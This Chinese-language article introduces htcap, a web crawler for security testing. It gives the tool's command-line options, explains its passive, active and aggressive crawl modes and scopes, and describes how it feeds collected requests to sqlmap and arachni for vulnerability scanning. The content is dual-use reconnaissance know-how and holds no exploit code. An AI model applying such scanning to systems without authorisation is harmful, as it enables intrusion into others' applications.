usage: htcap [options] url outfile

Options:

 -h               帮助菜单

 -w               覆盖输出文件

 -q               不显示处理过程信息

  -mMODE         设置爬取模式:

                     - passive:不与页面交互

                      - active:触发事件

                      - aggressive:填写输入值并爬取表单 (默认)

  -sSCOPE          设置爬取范围:

                      - domain:仅爬取当前域名 (默认)

                      - directory:仅爬取档期那目录 (以及子目录)

                      - url: 仅分析单一页面

 -D               最大爬取深度 (默认: 100)

 -P               连续表单的最大爬取深度 (默认: 10)

 -F               主动模式下不爬取表单

 -H               保存页面生成的HTML代码

  -dDOMAINS      待扫描的域名,多个域名用逗号分隔 (例如*.target.com)

  -cCOOKIES       以JSON格式或name=value键值对的形式设置cookie,多个值用分号隔开

  -CCOOKIE_FILE   包含cookie的文件路径

  -rREFERER       设置初始引用

  -xEXCLUDED      不扫描的URL地址,多个地址用逗号隔开

  -pPROXY         设置代理,protocol:host:port-  支持'http'或'socks5'

  -nTHREADS       爬虫线程数量 (默认: 10)

  -ACREDENTIALS   用户HTTP验证的用户名和密码,例如username:password

  -UUSERAGENT    设置用户代理

  -tTIMEOUT       分析一个页面最长可用时间(默认300)

 -S               跳过初始url检测

 -G               分组query_string参数

 -N               不使用标准化URL路径 (保留../../)

 -R               最大重定向数量 (默认10)

 -I               忽略robots.txt

htcap简单介绍

htcap的扫描过程分为两步,htcap首先会尽可能地收集待测目标可以发送的请求,例如url、表单和AJAX请求等等,然后将收集到的请求保存到一个SQLite数据库中。爬取工作完成之后,我们就可以使用其他的安全扫描工具来测试这些搜集到的测试点,最后将扫描结果存储到刚才那个SQLite数据库之中。

htcap内置了sqlmap和arachni模块,sqlmap主要用来扫描SQL注入漏洞,而arachni可以发现XSS、XXE、代码执行和文件包含等漏洞。

htcap所采用的爬虫算法能够采用递归的方式爬取基于AJAX的页面,htcap可以捕获AJAX调用,然后映射出DOM结构的变化,并对新增的对象进行递归扫描。当htcap加载了一个测试页面之后,htcap会尝试通过触发所有的事件和填充输入值来触发AJAX调用请求,当htcap检测到了AJAX调用之后,htcap会等待请求和相关调用完成。如果之后页面的DOM结构发生了变化,htcap便会用相同算法对新增元素再次进行计算和爬取,直到触发了所有的AJAX调用为止。

爬虫模块

Htcap支持三种爬取模式:被动型、主动型和攻击型。在被动模式下,htcap不会与任何页面进行交互,这意味着爬虫不会触发任何页面事件,它只会收集页面现有的链接。在这个模式下,htcap就跟普通的Web爬虫一样,只会收集页面<a>标签中的链接。在主动模式下,htcap会触发所有发现的事件,相当于模拟用户与页面进行交互,但不填写任何表单数据。在攻击模式下,htcap会向所有扫描到的表单和输入框中填写测试数据,即尽可能地模拟用户与页面进行交互。

爬取范围

htcap可以指定爬取范围,可选范围包括:域名、目录和url。如果范围是域名的话,htcap只会爬取给定的域名地址;如果范围为目录,那么htcap将会爬取指定目录以及该目录下的所有子目录;如果设置的是url,那么htcap将只会分析单个页面。

* 参考来源:n0where, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM